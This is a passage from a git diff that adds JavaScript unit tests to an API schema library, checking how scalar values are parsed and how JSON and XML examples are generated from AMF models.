+      const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema), { fromExamples: true });
+      assert.strictEqual(result,  10);
+    });
+
+    it('returns schema example value from examples for a number', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'scalarNumberWithExamples');
+      const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema), { fromExamples: true });
+      assert.strictEqual(result,  30);
+    });
+
+    it('returns type default value for a boolean', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'scalarBoolean');
+      const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema));
+      assert.strictEqual(result,  false);
+    });
+
+    it('returns schema default value for a boolean', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'scalarBooleanWithDefault');
+      const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema));
+      assert.strictEqual(result,  false);
+    });
+
+    it('returns schema example value for a boolean', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'scalarBooleanWithExample');
+      const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema), { fromExamples: true });
+      assert.strictEqual(result,  true);
+    });
+
+    it('returns schema example value from examples for a boolean', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'scalarBooleanWithExamples');
+      const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema), { fromExamples: true });
+      assert.strictEqual(result,  true);
+    });
+
+    it('returns undefined when required only', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'notRequired');
+      const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema), { requiredOnly: true });
+      assert.strictEqual(result,  undefined);
+    });
+
+    it('returns default value when not required only', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'notRequired');
+      const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema), { requiredOnly: false });
+      assert.strictEqual(result,  '');
+    });
+
+    it('returns default value when not required only', async () => {
+      const param = loader.getParameter(model, '/parameters', 'get', 'notRequiredDefault');
+      const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema));
+      assert.strictEqual(result,  'test default');
+    });
+  });
+
+  describe('parseScalarInput()', () => {
+    [
+      [ns.w3.xmlSchema.number, 10, 10],
+      [ns.w3.xmlSchema.number, '10', 10],
+      [ns.w3.xmlSchema.number, 'test', undefined],
+      [ns.aml.vocabularies.shapes.number, 'test', undefined],
+      [ns.w3.xmlSchema.integer, '20', 20],
+      [ns.aml.vocabularies.shapes.integer, '20', 20],
+      [ns.w3.xmlSchema.float, 30.5, 30.5],
+      [ns.aml.vocabularies.shapes.float, 30.5, 30.5],
+      [ns.w3.xmlSchema.long, '40.75', 40.75],
+      [ns.aml.vocabularies.shapes.long, '40.75', 40.75],
+      [ns.w3.xmlSchema.double, '50', 50],
+      [ns.aml.vocabularies.shapes.double, '50', 50],
+    ].forEach(([key, value, expected]) => {
+      it(`parses input for ${key}`, () => {
+        const shape = /** @type ApiScalarShape */ ({
+          id: '',
+          dataType: key,
+        });
+        const result = ApiSchemaValues.parseScalarInput(value, shape);
+        assert.strictEqual(result,  expected);
+      });
+    });
+
+    [
+      [ns.w3.xmlSchema.boolean, true, true],
+      [ns.w3.xmlSchema.boolean, 'true', true],
+      [ns.w3.xmlSchema.boolean, false, false],
+      [ns.w3.xmlSchema.boolean, 'false', false],
+      [ns.aml.vocabularies.shapes.boolean, 'false', false],
+      [ns.w3.xmlSchema.boolean, 'test', undefined],
+    ].forEach(([key, value, expected]) => {
+      it(`parses input for ${key} type with ${value}`, () => {
+        const shape = /** @type ApiScalarShape */ ({
+          id: '',
+          dataType: key,
+        });
+        const result = ApiSchemaValues.parseScalarInput(value, shape);
+        assert.strictEqual(result,  expected);
+      });
+    });
+
+    [
+      [ns.w3.xmlSchema.date, '2021-08-03', '2021-08-03'],
+      [ns.w3.xmlSchema.date, 'error', undefined],
+      [ns.w3.xmlSchema.time, '20:21:22', '20:21:22'],
+      [ns.w3.xmlSchema.time, '20:21', '20:21:00'],
+      [ns.w3.xmlSchema.time, 'error', undefined],
+      [ns.aml.vocabularies.shapes.dateTimeOnly, '2021-08-03T20:21:22.012Z', '2021-08-03T20:21:22'],
+      [ns.aml.vocabularies.shapes.dateTimeOnly, 'invalid', undefined],
+    ].forEach(([key, value, expected]) => {
+      it(`parses input for ${key} type with ${value}`, () => {
+        const shape = /** @type ApiScalarShape */ ({
+          id: '',
+          dataType: key,
+        });
+        const result = ApiSchemaValues.parseScalarInput(value, shape);
+        assert.strictEqual(result,  expected);
+      });
+    });
+
+    it(`parses input for dateTime, rfc3339`, () => {
+      const shape = /** @type ApiScalarShape */ ({
+        id: '',
+        dataType: ns.w3.xmlSchema.dateTime,
+        format: 'rfc3339',
+      });
+      const result = ApiSchemaValues.parseScalarInput('2021-08-03T20:21:22.012Z', shape);
+      assert.strictEqual(result, '2021-08-03T20:21:22.012Z');
+    });
+
+    it(`parses input for dateTime, rfc3339 as OAS date-time`, () => {
+      const shape = /** @type ApiScalarShape */ ({
+        id: '',
+        dataType: ns.w3.xmlSchema.dateTime,
+        format: 'date-time',
+      });
+      const result = ApiSchemaValues.parseScalarInput('2021-08-03T20:21:22.012Z', shape);
+      assert.strictEqual(result, '2021-08-03T20:21:22.012Z');
+    });
+
+    it(`parses input for dateTime, rfc2616`, () => {
+      const shape = /** @type ApiScalarShape */ ({
+        id: '',
+        dataType: ns.w3.xmlSchema.dateTime,
+        format: 'rfc2616',
+      });
+      const result = ApiSchemaValues.parseScalarInput('2021-08-03T20:21:22.012Z', shape);
+      assert.strictEqual(result, 'Tue, 03 Aug 2021 20:21:22 GMT');
+    });
+
+    it(`parses input for dateTime with invalid value`, () => {
+      const shape = /** @type ApiScalarShape */ ({
+        id: '',
+        dataType: ns.w3.xmlSchema.dateTime,
+        format: 'rfc2616',
+      });
+      const result = ApiSchemaValues.parseScalarInput('bla', shape);
+      assert.strictEqual(result, undefined);
+    });
+
+    it(`parses input for dateTime with invalid format`, () => {
+      const shape = /** @type ApiScalarShape */ ({
+        id: '',
+        dataType: ns.w3.xmlSchema.dateTime,
+        format: 'invalid',
+      });
+      const result = ApiSchemaValues.parseScalarInput('2021-08-03T20:21:22.012Z', shape);
+      assert.strictEqual(result, undefined);
+    });
+  });
+
+  describe('parseUserInput()', () => {
+    let scalar;
+    let array;
+    /** @type AmfDocument */
+    let model;
+
+    before(async () => {
+      model = await loader.getGraph(true, 'schema-api');
+      scalar = loader.getShape(model, 'ScalarNumber');
+      array = loader.getShape(model, 'NumberArray');
+    });
+
+    it('returns the value when no schema', () => {
+      const result = ApiSchemaValues.parseUserInput('test', undefined);
+      assert.strictEqual(result, 'test');
+    });
+
+    it('returns the value when value = undefined', () => {
+      const result = ApiSchemaValues.parseUserInput(undefined, scalar);
+      assert.strictEqual(result, undefined);
+    });
+
+    it('returns the value when value = null', () => {
+      const result = ApiSchemaValues.parseUserInput(null, scalar);
+      assert.strictEqual(result, null);
+    });
+
+    it('returns the parsed value', () => {
+      const result = ApiSchemaValues.parseUserInput('125', scalar);
+      assert.strictEqual(result, 125);
+    });
+
+    it('returns the parsed value for an array', () => {
+      const result = ApiSchemaValues.parseUserInput('126', array);
+      assert.strictEqual(result, 126);
+    });
+
+    it('returns string value when no "items"', () => {
+      const cp = { ...array, items: undefined };
+      const result = ApiSchemaValues.parseUserInput('126', cp);
+      assert.strictEqual(result, '126');
+    });
+
+    it('returns the value for unsupported types', async () => {
+      const type = loader.getShape(model, 'ScalarObjectUnion');
+      const result = ApiSchemaValues.parseUserInput('126', type);
+      assert.strictEqual(result, '126');
+    });
+  });
+
+  describe('readInputType()', () => {
+    [
+      [ns.w3.xmlSchema.number, 'number'],
+      [ns.aml.vocabularies.shapes.number, 'number'],
+      [ns.w3.xmlSchema.integer, 'number'],
+      [ns.aml.vocabularies.shapes.integer, 'number'],
+      [ns.w3.xmlSchema.float, 'number'],
+      [ns.aml.vocabularies.shapes.float, 'number'],
+      [ns.w3.xmlSchema.long, 'number'],
+      [ns.aml.vocabularies.shapes.long, 'number'],
+      [ns.w3.xmlSchema.double, 'number'],
+      [ns.aml.vocabularies.shapes.double, 'number'],
+      [ns.w3.xmlSchema.date, 'date'],
+      [ns.w3.xmlSchema.time, 'time'],
+      [ns.w3.xmlSchema.dateTime, 'datetime-local'],
+      [ns.aml.vocabularies.shapes.dateTimeOnly, 'datetime-local'],
+      [ns.aml.vocabularies.shapes.boolean, 'boolean'],
+      [ns.w3.xmlSchema.boolean, 'boolean'],
+      [ns.w3.xmlSchema.string, 'text'],
+    ].forEach(([key, expected]) => {
+      it(`recognizes a type for ${key}`, () => {
+        const result = ApiSchemaValues.readInputType(key);
+        assert.strictEqual(result,  expected);
+      });
+    });
+  });
+
+  describe('readTypedValue()', () => {
+    [
+      [ns.w3.xmlSchema.number, 10, 10],
+      [ns.w3.xmlSchema.number, '10', 10],
+      [ns.w3.xmlSchema.number, 'test', 0],
+      [ns.aml.vocabularies.shapes.number, 'test', 0],
+      [ns.w3.xmlSchema.integer, '20', 20],
+      [ns.aml.vocabularies.shapes.integer, '20', 20],
+      [ns.w3.xmlSchema.float, 30.5, 30.5],
+      [ns.aml.vocabularies.shapes.float, 30.5, 30.5],
+      [ns.w3.xmlSchema.long, '40.75', 40.75],
+      [ns.aml.vocabularies.shapes.long, '40.75', 40.75],
+      [ns.w3.xmlSchema.double, '50', 50],
+      [ns.aml.vocabularies.shapes.double, '50', 50],
+      [ns.w3.xmlSchema.boolean, true, true],
+      [ns.w3.xmlSchema.boolean, 'true', true],
+      [ns.w3.xmlSchema.boolean, false, false],
+      [ns.w3.xmlSchema.boolean, 'false', false],
+      [ns.aml.vocabularies.shapes.boolean, 'false', false],
+      [ns.w3.xmlSchema.boolean, 'test', false],
+      [ns.aml.vocabularies.shapes.nil, 'null', null],
+      [ns.w3.xmlSchema.nil, 'null', null],
+      ['', null, null],
+      ['', undefined, undefined],
+      [ns.w3.xmlSchema.string, 'test', 'test'],
+    ].forEach(([key, value, expected]) => {
+      it(`reads value for ${key}`, () => {
+        const result = ApiSchemaValues.readTypedValue(value, String(key));
+        assert.strictEqual(result,  expected);
+      });
+    });
+  });
+
+  describe('arrayValuesFromExamples()', () => {
+    /** @type AmfDocument */
+    let model;
+
+    before(async () => {
+      model = await loader.getGraph(true, 'schema-api');
+    });
+
+    it('returns default value when no argument', () => {
+      const result = ApiSchemaValues.arrayValuesFromExamples(undefined);
+      assert.deepEqual(result, []);
+    });
+
+    it('returns default value when empty argument', () => {
+      const result = ApiSchemaValues.arrayValuesFromExamples([]);
+      assert.deepEqual(result, []);
+    });
+
+    it('returns default value when not an array', async () => {
+      const scalar = /** @type ApiScalarShape */ (loader.getShape(model, 'ScalarWithExample'));
+      const result = ApiSchemaValues.arrayValuesFromExamples(scalar.examples);
+      assert.deepEqual(result, []);
+    });
+
+    it('processes the structured value', async () => {
+      const scalar = /** @type ApiScalarShape */ (loader.getShape(model, 'StringArrayExample'));
+      const result = ApiSchemaValues.arrayValuesFromExamples(scalar.examples);
+      assert.deepEqual(result, ['test', 'other']);
+    });
+
+    it('applies data types', async () => {
+      const scalar = /** @type ApiScalarShape */ (loader.getShape(model, 'NumberArrayExample'));
+      const result = ApiSchemaValues.arrayValuesFromExamples(scalar.examples);
+      assert.deepEqual(result, [1, 2]);
+    });
+  });
+
+  describe('inputValueFromExamples()', () => {
+    /** @type AmfDocument */
+    let model;
+
+    before(async () => {
+      model = await loader.getGraph(true, 'schema-api');
+    });
+
+    it('returns default value when no argument', () => {
+      const result = ApiSchemaValues.inputValueFromExamples(undefined);
+      assert.strictEqual(result, undefined);
+    });
+
+    it('returns default value when empty argument', () => {
+      const result = ApiSchemaValues.inputValueFromExamples([]);
+      assert.strictEqual(result, undefined);
+    });
+
+    it('returns default value when not a scalar', async () => {
+      const scalar = /** @type ApiScalarShape */ (loader.getShape(model, 'StringArrayExample'));
+      const result = ApiSchemaValues.inputValueFromExamples(scalar.examples);
+      assert.strictEqual(result, undefined);
+    });
+
+    it('processes the structured value', async () => {
+      const scalar = /** @type ApiScalarShape */ (loader.getShape(model, 'ScalarWithExample'));
+      const result = ApiSchemaValues.inputValueFromExamples(scalar.examples);
+      assert.strictEqual(result, 'A string');
+    });
+
+    it('applies data types', async () => {
+      const scalar = /** @type ApiScalarShape */ (loader.getShape(model, 'ScalarNumberWithExample'));
+      const result = ApiSchemaValues.inputValueFromExamples(scalar.examples);
+      assert.strictEqual(result, 24);
+    });
+  });
+
+  describe('generateDefaultValue()', () => {
+    [
+      ns.w3.xmlSchema.number,
+      ns.aml.vocabularies.shapes.number,
+      ns.w3.xmlSchema.integer,
+      ns.aml.vocabularies.shapes.integer,
+      ns.w3.xmlSchema.float,
+      ns.aml.vocabularies.shapes.float,
+      ns.w3.xmlSchema.long,
+      ns.aml.vocabularies.shapes.long,
+      ns.w3.xmlSchema.double,
+      ns.aml.vocabularies.shapes.double,
+    ].forEach((key) => {
+      it(`returns a default type value for ${key}`, () => {
+        const shape = /** @type ApiScalarShape */ ({
+          id: '',
+          dataType: key,
+        });
+        const result = ApiSchemaValues.generateDefaultValue(shape);
+        assert.strictEqual(result,  0);
+      });
+    });
+
+    [
+      ns.w3.xmlSchema.boolean,
+      ns.aml.vocabularies.shapes.boolean,
+    ].forEach((key) => {
+      it(`returns a default type value for ${key}`, () => {
+        const shape = /** @type ApiScalarShape */ ({
+          id: '',
+          dataType: key,
+        });
+        const result = ApiSchemaValues.generateDefaultValue(shape);
+        assert.strictEqual(result,  false);
+      });
+    });
+
+    it(`returns a random value for ${ns.w3.xmlSchema.date}`, () => {
+      const shape = /** @type ApiScalarShape */ ({
+        id: '',
+        dataType: ns.w3.xmlSchema.date,
+      });
+      const result = ApiSchemaValues.generateDefaultValue(shape);
+      assert.match(result, /^[0-9]{4}-[0-9]{2}-[0-9]{2}$/);
+    });
+
+    it(`returns a random value for ${ns.w3.xmlSchema.time}`, () => {
+      const shape = /** @type ApiScalarShape */ ({
+        id: '',
+        dataType: ns.w3.xmlSchema.time,
+      });
+      const result = ApiSchemaValues.generateDefaultValue(shape);
+      assert.match(result, /^[0-9]{2}:[0-9]{2}:[0-9]{2}$/);
+    });
+
+    it(`returns a random value for ${ns.aml.vocabularies.shapes.dateTimeOnly}`, () => {
+      const shape = /** @type ApiScalarShape */ ({
+        id: '',
+        dataType: ns.aml.vocabularies.shapes.dateTimeOnly,
+      });
+      const result = ApiSchemaValues.generateDefaultValue(shape);
+      assert.match(result, /^[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}$/);
+    });
+
+    it(`returns a random value for ${ns.w3.xmlSchema.dateTime} without format`, () => {
+      const shape = /** @type ApiScalarShape */ ({
+        id: '',
+        dataType: ns.w3.xmlSchema.dateTime,
+      });
+      const result = ApiSchemaValues.generateDefaultValue(shape);
+      assert.match(result, /^[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}\.[0-9]{3}Z$/);
+    });
+
+    it(`returns a random value for ${ns.w3.xmlSchema.dateTime} with rfc3339 format`, () => {
+      const shape = /** @type ApiScalarShape */ ({
+        id: '',
+        dataType: ns.w3.xmlSchema.dateTime,
+        format: 'rfc3339',
+      });
+      const result = ApiSchemaValues.generateDefaultValue(shape);
+      assert.match(result, /^[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}\.[0-9]{3}Z$/);
+    });
+
+    it(`returns a random value for ${ns.w3.xmlSchema.dateTime} with date-time format`, () => {
+      const shape = /** @type ApiScalarShape */ ({
+        id: '',
+        dataType: ns.w3.xmlSchema.dateTime,
+        format: 'date-time',
+      });
+      const result = ApiSchemaValues.generateDefaultValue(shape);
+      assert.match(result, /^[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}\.[0-9]{3}Z$/);
+    });
+
+    it(`returns a random value for ${ns.w3.xmlSchema.dateTime} with rfc2616 format`, () => {
+      const shape = /** @type ApiScalarShape */ ({
+        id: '',
+        dataType: ns.w3.xmlSchema.dateTime,
+        format: 'rfc2616',
+      });
+      const result = ApiSchemaValues.generateDefaultValue(shape);
+      assert.match(result, /^(Mon|Tue|Wed|Thu|Fri|Sat|Sun), ([0-3][0-9]) (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) ([0-9]{4}) ([01][0-9]|2[0-3])(:[0-5][0-9]){2} GMT$/);
+    });
+  });
+});
diff --git a/test/generators/SE-10469.test.js b/test/generators/SE-10469.test.js
new file mode 100644
index 0000000..ebb7ac6
--- /dev/null
+++ b/test/generators/SE-10469.test.js
@@ -0,0 +1,41 @@
+import { assert } from '@open-wc/testing';
+import { ApiSchemaGenerator } from '../../src/schema/ApiSchemaGenerator.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiAnyShape} ApiAnyShape */
+
+describe('SE-10469', () => {
+  const loader = new AmfLoader();
+  const jsonMime = 'application/json';
+  const apiFile = 'SE-10469';
+
+  [ true, false ].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      /** @type AmfDocument */
+      let model;
+
+      before(async () => {
+        model = await loader.getGraph(compact, apiFile);
+      });
+
+      it('generates example from JSON schema', () => {
+        const payload = loader.getPayloads(model, '/purina/b2b/supplier/purchaseOrder', 'post')[0];
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, jsonMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+        
+        const data = JSON.parse(result.renderValue);
+        assert.typeOf(data, 'object', 'generates an object');
+        assert.typeOf(data.purchaseOrder, 'object', 'has the purchaseOrder property');
+        assert.equal(data.purchaseOrder.actionCode, '', 'has the purchaseOrder.actionCode');
+        assert.equal(data.purchaseOrder.typeCode, '', 'has the purchaseOrder.typeCode');
+        assert.typeOf(data.purchaseOrder.purchaseOrderHeader, 'object', 'has the purchaseOrder.purchaseOrderHeader');
+      });
+    });
+  });
+});
diff --git a/test/generators/SE-13092.test.js b/test/generators/SE-13092.test.js
new file mode 100644
index 0000000..4f2141e
--- /dev/null
+++ b/test/generators/SE-13092.test.js
@@ -0,0 +1,70 @@
+import { assert } from '@open-wc/testing';
+import { ApiSchemaGenerator } from '../../src/schema/ApiSchemaGenerator.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiAnyShape} ApiAnyShape */
+
+describe('SE-13092', () => {
+  const loader = new AmfLoader();
+  const xmlMime = 'application/xml';
+  const apiFile = 'SE-13092';
+
+  [ true, false ].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      /** @type AmfDocument */
+      let model;
+
+      before(async () => {
+        model = await loader.getGraph(compact, apiFile);
+      });
+
+      it('generates name from data type fragment included into types map', () => {
+        const payload = loader.getResponsePayloads(model, '/customer', 'post', '200')[0];
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+        });
+
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+        
+        const { renderValue } = result;
+        assert.include(renderValue, '<Person>', 'generates type name (opening tag)');
+        assert.include(renderValue, '</Person>', 'generates type name (closing tag)');
+      });
+
+      // This should be incorrect but the AMF model includes name anyway.
+      // Detailed discussion about this: https://www.mulesoft.org/jira/browse/SE-13092
+      it('generates name from inline include for data type fragment included into types map', () => {
+        const payload = loader.getResponsePayloads(model, '/should-be-incorrect', 'post', '200')[0];
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+        });
+
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+
+        const { renderValue } = result;
+        assert.include(renderValue, '<type>', 'generates type name (opening tag)');
+        assert.include(renderValue, '</type>', 'generates type name (closing tag)');
+      });
+
+      it('uses default name for data type not fragment included into types map', () => {
+        const payload = loader.getResponsePayloads(model, '/incorrect-way', 'post', '200')[0];
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+        });
+
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+        
+        const { renderValue } = result;
+        assert.include(renderValue, '<type>', 'uses type name (opening tag)');
+        assert.include(renderValue, '</type>', 'uses type name (closing tag)');
+      });
+    });
+  });
+});
diff --git a/test/generators/SE-22063.test.js b/test/generators/SE-22063.test.js
new file mode 100644
index 0000000..88e9faf
--- /dev/null
+++ b/test/generators/SE-22063.test.js
@@ -0,0 +1,52 @@
+import { assert } from '@open-wc/testing';
+import { ApiSchemaGenerator } from '../../src/schema/ApiSchemaGenerator.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiAnyShape} ApiAnyShape */
+
+describe('SE-22063', () => {
+  const loader = new AmfLoader();
+  const xmlMime = 'application/xml';
+  const apiFile = 'SE-22063';
+
+  [ true, false ].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      /** @type AmfDocument */
+      let model;
+
+      before(async () => {
+        model = await loader.getGraph(compact, apiFile);
+      });
+
+      it('generates xml example using xml name and xml wrap', () => {
+        const payload = loader.getPayloads(model, '/demo', 'post')[0];
+        
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+
+        assert.equal(
+          result.renderValue,
+          '<StockBalance>\n' +
+          '  <type>site</type>\n' +
+          '  <item>\n' +
+          '    <StockLine>\n' +
+          '      <ssccNumber>P19227</ssccNumber>\n' +
+          '      <materialReference>CL54B</materialReference>\n' +
+          '      <variantId>R0029</variantId>\n' +
+          '      <batch>BA02931</batch>\n' +
+          '      <quantity>1</quantity>\n' +
+          '    </StockLine>\n' +
+          '  </item>\n' +
+          '</StockBalance>'
+        );
+      });
+    });
+  });
+});
diff --git a/test/generators/ShapeXmlSchemaGenerator.test.js b/test/generators/ShapeXmlSchemaGenerator.test.js
new file mode 100644
index 0000000..e99ba1e
--- /dev/null
+++ b/test/generators/ShapeXmlSchemaGenerator.test.js
@@ -0,0 +1,30 @@
+import { assert } from '@open-wc/testing';
+import { normalizeXmlTagName } from '../../src/schema/shape/ShapeXmlSchemaGenerator.js';
+
+describe('ShapeXmlSchemaGenerator', () => {
+  describe('normalizeXmlTagName()', () => {
+    it('removes prohibited characters', () => {
+      const name = 'a & b = c?';
+      const result = normalizeXmlTagName(name);
+      assert.equal(result, 'abc');
+    });
+
+    it('keeps hyphen characters', () => {
+      const name = 'a-&-b =-c?';
+      const result = normalizeXmlTagName(name);
+      assert.equal(result, 'a--b-c');
+    });
+
+    it('keeps underscore characters', () => {
+      const name = 'a_&_b =_c?';
+      const result = normalizeXmlTagName(name);
+      assert.equal(result, 'a__b_c');
+    });
+
+    it('keeps dot characters', () => {
+      const name = 'a.&.b =.c?';
+      const result = normalizeXmlTagName(name);
+      assert.equal(result, 'a..b.c');
+    });
+  });
+});
diff --git a/test/generators/raml-examples.test.js b/test/generators/raml-examples.test.js
new file mode 100644
index 0000000..aae3918
--- /dev/null
+++ b/test/generators/raml-examples.test.js
@@ -0,0 +1,50 @@
+import { assert } from '@open-wc/testing';
+import { ApiSchemaGenerator } from '../../src/schema/ApiSchemaGenerator.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiAnyShape} ApiAnyShape */
+
+describe('RAML examples', () => {
+  const loader = new AmfLoader();
+  const jsonMime = 'application/json';
+  const xmlMime = 'application/xml';
+  const apiFile = 'example-generator-api';
+
+  [ true, false ].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      /** @type AmfDocument */
+      let model;
+
+      before(async () => {
+        model = await loader.getGraph(compact, apiFile);
+      });
+
+      it('generates JSON example for a payload', () => {
+        const payload = loader.getPayloads(model, '/employees', 'post')[1];
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, jsonMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+        const { mediaType, value, renderValue } = result;
+        assert.equal(mediaType, jsonMime, 'mediaType is set');
+        assert.include(value, 'firstName: Other Pawel', 'value has the raw value');
+        assert.include(renderValue, '"firstName": "Other Pawel",', 'renderValue has the example value');
+      });
+
+      it('generates XML example for a payload', () => {
+        const payload = loader.getPayloads(model, '/employees', 'post')[1];
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+        const { mediaType, value, renderValue } = result;
+        assert.equal(mediaType, xmlMime, 'mediaType is set');
+        assert.include(value, 'firstName: Other Pawel', 'value has the raw value');
+        assert.include(renderValue, '<firstName>Other Pawel</firstName>', 'renderValue has the example value');
+      });
+    });
+  });
+});
diff --git a/test/generators/tracked-to-linked.test.js b/test/generators/tracked-to-linked.test.js
new file mode 100644
index 0000000..11b5e06
--- /dev/null
+++ b/test/generators/tracked-to-linked.test.js
@@ -0,0 +1,120 @@
+import { assert } from '@open-wc/testing';
+import { ApiSchemaGenerator } from '../../src/schema/ApiSchemaGenerator.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiAnyShape} ApiAnyShape */
+
+describe('Tracked examples', () => {
+  const loader = new AmfLoader();
+  const jsonMime = 'application/json';
+  const xmlMime = 'application/xml';
+
+  [ true, false ].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      /** @type AmfDocument */
+      let model;
+
+      before(async () => {
+        model = await loader.getGraph(compact, 'tracked-to-linked');
+      });
+
+      it('basic formatting and type name', () => {
+        const payload = loader.getPayloads(model, '/employees', 'get')[0];
+        
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, jsonMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+        
+        assert.equal(
+          result.value,
+          '-\n  id: 1\n  name: John\n-\n  id: 2\n  name: Sam',
+          "Example's raw is set"
+        );
+
+        const parsed = JSON.parse(result.renderValue);
+        
+        assert.typeOf(parsed, 'array', 'represents an array');
+        assert.lengthOf(parsed, 2, 'has 2 items');
+        
+        const [e1, e2] = parsed;
+        assert.equal(e1.id, 1, 'has the example1.id');
+        assert.equal(e1.name, 'John', 'has the example1.name');
+        assert.equal(e2.id, 2, 'has the example2.id');
+        assert.equal(e2.name, 'Sam', 'has the example2.name');
+      });
+
+      it('generates example for POST', () => {
+        const payload = loader.getPayloads(model, '/employees', 'post')[0];
+        
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, jsonMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+        
+        assert.equal(
+          result.value,
+          'id: 1\nname: "John"',
+          "Example's raw is set"
+        );
+
+        const parsed = JSON.parse(result.renderValue);
+        
+        assert.deepEqual(parsed, 
+          {
+            "id": 1,
+            "name": "John"
+          }
+        );
+      });
+
+      it('generates example for DELETE', () => {
+        const payload = loader.getPayloads(model, '/employees', 'delete')[0];
+        
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, jsonMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+        
+        assert.equal(
+          result.value,
+          'id: 1\nname: "John"',
+          "Example's raw is set"
+        );
+
+        const parsed = JSON.parse(result.renderValue);
+        
+        assert.deepEqual(parsed, 
+          {
+            "id": 1,
+            "name": "John"
+          }
+        );
+      });
+
+      it('generates example for HEAD', () => {
+        const payload = loader.getPayloads(model, '/employees', 'head')[0];
+        
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+        
+        assert.equal(
+          result.value,
+          'id: 1\nname: "John"',
+          "Example's raw is set"
+        );
+        assert.equal(
+          result.renderValue, 
+          '<Employee>\n  <id>1</id>\n  <name>John</name>\n</Employee>',
+        );
+      });
+    });
+  });
+});
diff --git a/test/generators/xml-data-processing.test.js b/test/generators/xml-data-processing.test.js
new file mode 100644
index 0000000..5dd3ecb
--- /dev/null
+++ b/test/generators/xml-data-processing.test.js
@@ -0,0 +1,311 @@
+import { assert } from '@open-wc/testing';
+import { ApiSchemaGenerator } from '../../src/schema/ApiSchemaGenerator.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiAnyShape} ApiAnyShape */
+
+describe('XML processing', () => {
+  const loader = new AmfLoader();
+  const xmlMime = 'application/xml';
+
